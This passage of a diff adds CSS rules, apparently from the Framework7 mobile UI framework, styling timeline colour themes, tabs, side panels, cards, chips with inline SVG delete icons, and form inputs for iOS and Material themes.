.timeline-year-title, +.md .color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .color-theme-yellow .timeline-item-date, +.md .color-theme-yellow .timeline-year-title, +.md .color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .color-theme-orange .timeline-item-date, +.md .color-theme-orange .timeline-year-title, +.md .color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .color-theme-gray .timeline-item-date, +.md .color-theme-gray .timeline-year-title, +.md .color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .color-theme-white .timeline-item-date, +.md .color-theme-white .timeline-year-title, +.md .color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .color-theme-black .timeline-item-date, +.md .color-theme-black .timeline-year-title, +.md .color-theme-black .timeline-month-title { + background: #000000; +} +.md .timeline.color-theme-red .timeline-item-date, +.md .timeline.color-theme-red .timeline-year-title, +.md .timeline.color-theme-red .timeline-month-title { + background: #f44336; +} +.md .timeline.color-theme-green .timeline-item-date, +.md .timeline.color-theme-green .timeline-year-title, +.md .timeline.color-theme-green .timeline-month-title { + background: #4caf50; +} +.md .timeline.color-theme-blue .timeline-item-date, +.md .timeline.color-theme-blue .timeline-year-title, +.md .timeline.color-theme-blue .timeline-month-title { + background: #2196f3; +} +.md .timeline.color-theme-pink .timeline-item-date, +.md .timeline.color-theme-pink .timeline-year-title, +.md .timeline.color-theme-pink .timeline-month-title { + background: #e91e63; +} +.md .timeline.color-theme-yellow .timeline-item-date, +.md .timeline.color-theme-yellow .timeline-year-title, +.md .timeline.color-theme-yellow .timeline-month-title { + background: #ffeb3b; +} +.md .timeline.color-theme-orange .timeline-item-date, +.md .timeline.color-theme-orange .timeline-year-title, +.md .timeline.color-theme-orange .timeline-month-title { + background: #ff9800; +} +.md .timeline.color-theme-gray .timeline-item-date, +.md .timeline.color-theme-gray .timeline-year-title, +.md .timeline.color-theme-gray .timeline-month-title { + background: #9e9e9e; +} +.md .timeline.color-theme-white .timeline-item-date, +.md .timeline.color-theme-white .timeline-year-title, +.md .timeline.color-theme-white .timeline-month-title { + background: #ffffff; +} +.md .timeline.color-theme-black .timeline-item-date, +.md .timeline.color-theme-black .timeline-year-title, +.md .timeline.color-theme-black .timeline-month-title { + background: #000000; +} +/* === Tabs === */ +.tabs .tab { + display: none; +} +.tabs .tab-active { + display: block; +} +.tabs-animated-wrap { + position: relative; + width: 100%; + overflow: hidden; + height: 100%; +} +.tabs-animated-wrap > .tabs { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + height: 100%; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-animated-wrap > .tabs > .tab { + width: 100%; + display: block; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.tabs-animated-wrap.not-animated > .tabs { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.tabs-swipeable-wrap { + height: 100%; +} +.tabs-swipeable-wrap > .tabs { + height: 100%; +} +.tabs-swipeable-wrap > .tabs > .tab { + display: block; +} +.page > .tabs { + height: 100%; +} +/* === Panels === */ +.panel-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + opacity: 0; + z-index: 5999; + display: none; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.panel-backdrop.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel { + z-index: 1000; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + overflow: auto; + -webkit-overflow-scrolling: touch; + top: 0; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + width: 260px; + background-color: #fff; +} +.panel.not-animated { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel.panel-reveal.not-animated ~ .views, +.panel.panel-reveal.not-animated ~ .view { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +.panel-cover { + z-index: 6000; +} +.panel-left { + left: 0; +} +.panel-left.panel-cover { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.panel-right { + right: 0; +} +.panel-right.panel-cover { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.panel-visible-by-breakpoint { + display: block; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; +} +.panel-visible-by-breakpoint.panel-cover { + z-index: 5900; +} +html.with-panel .framework7-root > .views .page-content, +html.with-panel .framework7-root > .view .page-content { + overflow: hidden; + -webkit-overflow-scrolling: auto; +} +html.with-panel-left-cover .panel-backdrop, +html.with-panel-right-cover .panel-backdrop { + display: block; + opacity: 1; +} +html.with-panel-left-reveal .panel-backdrop, +html.with-panel-right-reveal .panel-backdrop, +html.with-panel-transitioning .panel-backdrop { + background: rgba(0, 0, 0, 0); + display: block; + opacity: 0; +} +html.with-panel-left-reveal .views, +html.with-panel-left-reveal .framework7-root > .view, +html.with-panel-left-reveal .panel-backdrop { + -webkit-transform: translate3d(260px, 0, 0); + transform: translate3d(260px, 0, 0); +} +html.with-panel-right-reveal .views, +html.with-panel-right-reveal .framework7-root > .view, +html.with-panel-right-reveal .panel-backdrop { + -webkit-transform: translate3d(-260px, 0, 0); + transform: translate3d(-260px, 0, 0); +} +html.with-panel-left-cover .panel-left { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-panel-right-cover .panel-right { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +html.with-statusbar.device-ios .panel, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .panel { + top: 20px; + height: calc(100% - 20px); +} +html.with-statusbar.device-android .panel, +html.with-statusbar.md:not(.device-ios):not(.device-android) .panel { + top: 24px; + height: calc(100% - 24px); +} +html.with-statusbar.device-iphone-x .panel { + top: constant(safe-area-inset-top); + top: env(safe-area-inset-top); + height: calc(100% - constant(safe-area-inset-top)); + height: calc(100% - env(safe-area-inset-top)); +} +.ios .panel-backdrop { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + background: rgba(0, 0, 0, 0); +} +.ios .panel { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios.with-panel-left-reveal .views, +.ios.with-panel-right-reveal .views, +.ios.with-panel-transitioning .views, +.ios.with-panel-left-reveal .framework7-root > .view, +.ios.with-panel-right-reveal .framework7-root > .view, +.ios.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.md .panel-backdrop { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + background: rgba(0, 0, 0, 0.2); +} +.md .panel { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .panel-visible { + display: block; +} +.md .panel-visible-by-breakpoint { + -webkit-box-shadow: none; + box-shadow: none; +} +.md.with-panel-left-cover .panel-cover, +.md.with-panel-right-cover .panel-cover { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view { + -webkit-box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); + box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.5); +} +.md.with-panel-left-reveal .views, +.md.with-panel-right-reveal .views, +.md.with-panel-transitioning .views, +.md.with-panel-left-reveal .framework7-root > .view, +.md.with-panel-right-reveal .framework7-root > .view, +.md.with-panel-transitioning .framework7-root > .view { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: -webkit-transform, -webkit-box-shadow; + transition-property: transform, box-shadow; + transition-property: transform, box-shadow, -webkit-transform, -webkit-box-shadow; +} +/* === Card === */ +.cards-list > ul:before, +.card .list > ul:before { + display: none !important; +} +.cards-list > ul:after, +.card .list > ul:after { + display: none !important; +} +.card { + background: #fff; + position: relative; + border-radius: 4px; + font-size: 14px; +} +.card .list, +.card .block { + margin: 0; +} +.row:not(.no-gap) .col > .card { + margin-left: 0; + margin-right: 0; +} +.card-content { + position: relative; +} +.card-content-padding { + position: relative; +} +.card-content-padding > p:first-child { + margin-top: 0; +} +.card-content-padding > p:last-child { + margin-bottom: 0; +} +.card-header, +.card-footer { + min-height: 44px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.card-header[valign="top"], +.card-footer[valign="top"] { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.card-header[valign="bottom"], +.card-footer[valign="bottom"] { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.card-header a.link, +.card-footer a.link { + position: relative; +} +.card-header a.link i.icon, +.card-footer a.link i.icon { + display: block; +} +.card-header a.icon-only, +.card-footer a.icon-only { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; +} +.card-header { + border-radius: 4px 4px 0 0; +} +.card-header:after { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .card-header:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-header:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-header.no-hairline:after { + display: none !important; +} +.card-footer { + border-radius: 0 0 4px 4px; +} +.card-footer:before { + content: ''; + position: absolute; + background-color: #e1e1e1; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +html.device-pixel-ratio-2 .card-footer:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .card-footer:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.card-footer.no-hairline:before { + display: none !important; +} +.ios .cards-list ul, +.ios .card .list ul { + background: none; +} +.ios .card { + -webkit-box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + box-shadow: 0px 1px 2px rgba(0, 0, 0, 0.3); + margin: 10px; +} +.ios .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .card-header a.link, +.ios .card-footer a.link { + line-height: 44px; + height: 44px; + margin-top: -10px; + margin-bottom: -10px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; +} +.ios .card-header a.icon-only, +.ios .card-footer a.icon-only { + min-width: 44px; +} +.ios .card-content-padding { + padding: 15px; +} +.ios .card-content-padding > .list, +.ios .card-content-padding > .block { + margin: -15px; +} +.ios .card-header, +.ios .card-footer { + min-height: 44px; + padding: 10px 15px; +} +.ios .card-header { + font-size: 17px; +} +.ios .card-footer { + color: #6d6d72; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .ios.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .card { + background-color: #1c1c1d; +} +.ios .theme-dark .card-outline { + border-color: #282829; +} +.ios .theme-dark .card-header:after { + background-color: #282829; +} +.ios .theme-dark .card-footer { + color: #8E8E93; +} +.ios .theme-dark .card-footer:before { + background-color: #282829; +} +.md .cards-list ul, +.md .card .list ul { + background: none; +} +.md .card { + margin: 8px; + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12); +} +.md .card-outline { + -webkit-box-shadow: none; + box-shadow: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .card-header a.link, +.md .card-footer a.link { + text-decoration: none; + text-align: center; + display: block; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + padding: 0 10px; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + position: relative; + overflow: hidden; + font-family: inherit; + cursor: pointer; + outline: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +input[type="submit"].md .card-header a.link, +input[type="submit"].md .card-footer a.link, +input[type="button"].md .card-header a.link, +input[type="button"].md .card-footer a.link { + width: 100%; +} +.md .card-header a.link.active-state, +.md .card-footer a.link.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .card-header a.icon-only, +.md .card-footer a.icon-only { + min-width: 48px; +} +.md .page-content > .card:last-child { + margin-bottom: 32px; +} +.md .card-content-padding { + padding: 16px; +} +.md .card-content-padding > .list, +.md .card-content-padding > .block { + margin: -16px; +} +.md .card-header, +.md .card-footer { + min-height: 48px; + padding: 4px 16px; +} +.md .card-header { + font-size: 16px; +} +.md .card-footer { + color: #757575; +} +.md .theme-dark .card { + background-color: rgba(255, 255, 255, 0.03); +} +.md .theme-dark .card-outline { + border-color: #282829; +} +.md .theme-dark .card-header:after { + background-color: rgba(255, 255, 255, 0.08); +} +.md .theme-dark .card-footer { + color: rgba(255, 255, 255, 0.54); +} +.md .theme-dark .card-footer:before { + background-color: rgba(255, 255, 255, 0.08); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .card:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(8px + constant(safe-area-inset-left)); + margin-left: calc(8px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .card:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .card:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(8px + constant(safe-area-inset-right)); + margin-right: calc(8px + env(safe-area-inset-right)); + } +} +.md .color-theme-red .card-header a.link, +.md .color-theme-red .card-footer a.link, +.md .card-header.color-theme-red a.link, +.md .card-footer.color-theme-red a.link { + color: #f44336; +} +.md .color-theme-green .card-header a.link, +.md .color-theme-green .card-footer a.link, +.md .card-header.color-theme-green a.link, +.md .card-footer.color-theme-green a.link { + color: #4caf50; +} +.md .color-theme-blue .card-header a.link, +.md .color-theme-blue .card-footer a.link, +.md .card-header.color-theme-blue a.link, +.md .card-footer.color-theme-blue a.link { + color: #2196f3; +} +.md .color-theme-pink .card-header a.link, +.md .color-theme-pink .card-footer a.link, +.md .card-header.color-theme-pink a.link, +.md .card-footer.color-theme-pink a.link { + color: #e91e63; +} +.md .color-theme-yellow .card-header a.link, +.md .color-theme-yellow .card-footer a.link, +.md .card-header.color-theme-yellow a.link, +.md .card-footer.color-theme-yellow a.link { + color: #ffeb3b; +} +.md .color-theme-orange .card-header a.link, +.md .color-theme-orange .card-footer a.link, +.md .card-header.color-theme-orange a.link, +.md .card-footer.color-theme-orange a.link { + color: #ff9800; +} +.md .color-theme-gray .card-header a.link, +.md .color-theme-gray .card-footer a.link, +.md .card-header.color-theme-gray a.link, +.md .card-footer.color-theme-gray a.link { + color: #9e9e9e; +} +.md .color-theme-white .card-header a.link, +.md .color-theme-white .card-footer a.link, +.md .card-header.color-theme-white a.link, +.md .card-footer.color-theme-white a.link { + color: #ffffff; +} +.md .color-theme-black .card-header a.link, +.md .color-theme-black .card-footer a.link, +.md .card-header.color-theme-black a.link, +.md .card-footer.color-theme-black a.link { + color: #000000; +} +.md .card-header a.link.color-red, +.md .card-footer a.link.color-red { + color: #f44336; +} +.md .card-header a.link.color-green, +.md .card-footer a.link.color-green { + color: #4caf50; +} +.md .card-header a.link.color-blue, +.md .card-footer a.link.color-blue { + color: #2196f3; +} +.md .card-header a.link.color-pink, +.md .card-footer a.link.color-pink { + color: #e91e63; +} +.md .card-header a.link.color-yellow, +.md .card-footer a.link.color-yellow { + color: #ffeb3b; +} +.md .card-header a.link.color-orange, +.md .card-footer a.link.color-orange { + color: #ff9800; +} +.md .card-header a.link.color-gray, +.md .card-footer a.link.color-gray { + color: #9e9e9e; +} +.md .card-header a.link.color-white, +.md .card-footer a.link.color-white { + color: #ffffff; +} +.md .card-header a.link.color-black, +.md .card-footer a.link.color-black { + color: #000000; +} +/* === Chips === */ +.chip { + font-weight: normal; + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-sizing: border-box; + box-sizing: border-box; + vertical-align: middle; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 2px 0; +} +.chip-media { + border-radius: 50%; + text-align: center; + color: #fff; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.chip-media img { + max-width: 100%; + max-height: 100%; + width: auto; + height: auto; + border-radius: 50%; + display: block; +} +.chip-label { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + position: relative; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + min-width: 0; +} +.chip-delete { + text-align: center; + cursor: pointer; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + background-repeat: no-repeat; +} +.chip .chip-delete.active-state { + opacity: 1; +} +.ios .chip { + font-size: 13px; + color: #000; + background: rgba(0, 0, 0, 0.12); + height: 24px; + border-radius: 12px; + padding: 0 10px; +} +.ios .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.ios .chip-media { + width: 24px; + height: 24px; + vertical-align: middle; + border-radius: 50%; + text-align: center; + line-height: 16px; + color: #fff; + font-size: 12px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin-right: -10px; +} +.ios .chip-media + .chip-label { + margin-right: 4px; +} +.ios .chip-media i.icon { + font-size: 16px; + height: 16px; +} +.ios .chip-delete { + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23000'%2F%3E%3Cline%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23fff'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 14px 14px; + opacity: 0.54; + margin-left: -10px; +} +.ios .theme-dark .chip { + background-color: #333; + color: #fff; +} +.ios .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.ios .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2028%2028'%3E%3Ccircle%20cx%3D'14'%20cy%3D'14'%20r%3D'14'%20fill%3D'%23fff'%2F%3E%3Cline%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'8'%20y1%3D'8'%20x2%3D'20'%20y2%3D'20'%2F%3E%3Cline%20fill%3D'none'%20stroke%3D'%23000'%20stroke-width%3D'3'%20stroke-miterlimit%3D'10'%20x1%3D'20'%20y1%3D'8'%20x2%3D'8'%20y2%3D'20'%2F%3E%3C%2Fsvg%3E"); +} +.ios .chip.color-red { + background: #ff3b30; + color: #fff; +} +.ios .chip.color-red.chip-outline { + background: none; + border-color: #ff3b30; + color: #ff3b30; +} +.ios .chip.color-green { + background: #4cd964; + color: #fff; +} +.ios .chip.color-green.chip-outline { + background: none; + border-color: #4cd964; + color: #4cd964; +} +.ios .chip.color-blue { + background: #007aff; + color: #fff; +} +.ios .chip.color-blue.chip-outline { + background: none; + border-color: #007aff; + color: #007aff; +} +.ios .chip.color-pink { + background: #ff2d55; + color: #fff; +} +.ios .chip.color-pink.chip-outline { + background: none; + border-color: #ff2d55; + color: #ff2d55; +} +.ios .chip.color-yellow { + background: #ffcc00; + color: #fff; +} +.ios .chip.color-yellow.chip-outline { + background: none; + border-color: #ffcc00; + color: #ffcc00; +} +.ios .chip.color-orange { + background: #ff9500; + color: #fff; +} +.ios .chip.color-orange.chip-outline { + background: none; + border-color: #ff9500; + color: #ff9500; +} +.ios .chip.color-gray { + background: #8e8e93; + color: #fff; +} +.ios .chip.color-gray.chip-outline { + background: none; + border-color: #8e8e93; + color: #8e8e93; +} +.ios .chip.color-white { + background: #ffffff; + color: #fff; +} +.ios .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.ios .chip.color-black { + background: #000000; + color: #fff; +} +.ios .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +.md .chip { + font-size: 13px; + color: rgba(0, 0, 0, 0.87); + background: rgba(0, 0, 0, 0.12); + height: 32px; + line-height: 32px; + border-radius: 16px; + padding: 0 12px; +} +.md .chip-outline { + background: none; + border: 1px solid rgba(0, 0, 0, 0.12); +} +.md .chip-media { + width: 32px; + height: 32px; + vertical-align: top; + border-radius: 50%; + text-align: center; + line-height: 32px; + color: #fff; + font-size: 16px; + margin-right: -12px; +} +.md .chip-media + .chip-label { + margin-right: 8px; +} +.md .chip-label + .chip-delete { + margin-right: 4px; +} +.md .chip-delete { + margin-right: -8px; + width: 24px; + height: 24px; + line-height: 24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + background-position: center; + background-size: 20px 20px; + opacity: 0.54; + margin-left: -8px; +} +.md .theme-dark .chip { + background: #333; + color: rgba(255, 255, 255, 0.87); +} +.md .theme-dark .chip-outline { + background: none; + border-color: #333; +} +.md .theme-dark .chip-delete { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M12%202C6.47%202%202%206.47%202%2012s4.47%2010%2010%2010%2010-4.47%2010-10S17.53%202%2012%202zm5%2013.59L15.59%2017%2012%2013.41%208.41%2017%207%2015.59%2010.59%2012%207%208.41%208.41%207%2012%2010.59%2015.59%207%2017%208.41%2013.41%2012%2017%2015.59z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .chip.color-red { + background: #f44336; + color: #fff; +} +.md .chip.color-red.chip-outline { + background: none; + border-color: #f44336; + color: #f44336; +} +.md .chip.color-green { + background: #4caf50; + color: #fff; +} +.md .chip.color-green.chip-outline { + background: none; + border-color: #4caf50; + color: #4caf50; +} +.md .chip.color-blue { + background: #2196f3; + color: #fff; +} +.md .chip.color-blue.chip-outline { + background: none; + border-color: #2196f3; + color: #2196f3; +} +.md .chip.color-pink { + background: #e91e63; + color: #fff; +} +.md .chip.color-pink.chip-outline { + background: none; + border-color: #e91e63; + color: #e91e63; +} +.md .chip.color-yellow { + background: #ffeb3b; + color: #fff; +} +.md .chip.color-yellow.chip-outline { + background: none; + border-color: #ffeb3b; + color: #ffeb3b; +} +.md .chip.color-orange { + background: #ff9800; + color: #fff; +} +.md .chip.color-orange.chip-outline { + background: none; + border-color: #ff9800; + color: #ff9800; +} +.md .chip.color-gray { + background: #9e9e9e; + color: #fff; +} +.md .chip.color-gray.chip-outline { + background: none; + border-color: #9e9e9e; + color: #9e9e9e; +} +.md .chip.color-white { + background: #ffffff; + color: #fff; +} +.md .chip.color-white.chip-outline { + background: none; + border-color: #ffffff; + color: #ffffff; +} +.md .chip.color-black { + background: #000000; + color: #fff; +} +.md .chip.color-black.chip-outline { + background: none; + border-color: #000000; + color: #000000; +} +/* === Input === */ +input[type="text"], +input[type="password"], +input[type="search"], +input[type="email"], +input[type="tel"], +input[type="url"], +input[type="date"], +input[type="datetime-local"], +input[type="time"], +input[type="number"], +select, +textarea { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border: none; + -webkit-box-shadow: none; + box-shadow: none; + border-radius: 0; + outline: 0; + display: block; + padding: 0; + margin: 0; + font-family: inherit; + background: none; + resize: none; + font-size: inherit; + color: inherit; +} +.textarea-resizable-shadow { + opacity: 0; + position: absolute; + z-index: -1000; + pointer-events: none; + left: -1000px; + top: -1000px; + visibility: hidden; +} +.list input[type="text"], +.list input[type="password"], +.list input[type="search"], +.list input[type="email"], +.list input[type="tel"], +.list input[type="url"], +.list input[type="date"], +.list input[type="datetime-local"], +.list input[type="time"], +.list input[type="number"], +.list select, +.list textarea { + width: 100%; +} +.list input[type="datetime-local"] { + max-width: 50vw; +} +.list input[type="date"], +.list input[type="datetime-local"] { + line-height: 44px; +} +.list input[type="date"], +.list input[type="datetime-local"] { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + width: auto; +} +.list textarea { + resize: none; + line-height: 1.4; + height: 100px; +} +.list .item-label, +.list .item-floating-label { + vertical-align: top; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.list .item-input-wrap { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; +} +.input { + position: relative; +} +.input input, +.input select, +.input textarea { + width: 100%; +} +.input-clear-button { + opacity: 0; + pointer-events: none; + visibility: hidden; + -webkit-transition-duration: 100ms; + transition-duration: 100ms; + position: absolute; + top: 50%; + border-radius: 50%; + border: none; + padding: 0; + margin: 0; + outline: 0; + z-index: 1; + cursor: pointer; + background: none; + left: 0; +} +.input-clear-button:after { + content: ''; + position: absolute; + width: 100%; + height: 100%; + left: 0; + top: 0; + background-repeat: no-repeat; + background-position: center center; +} 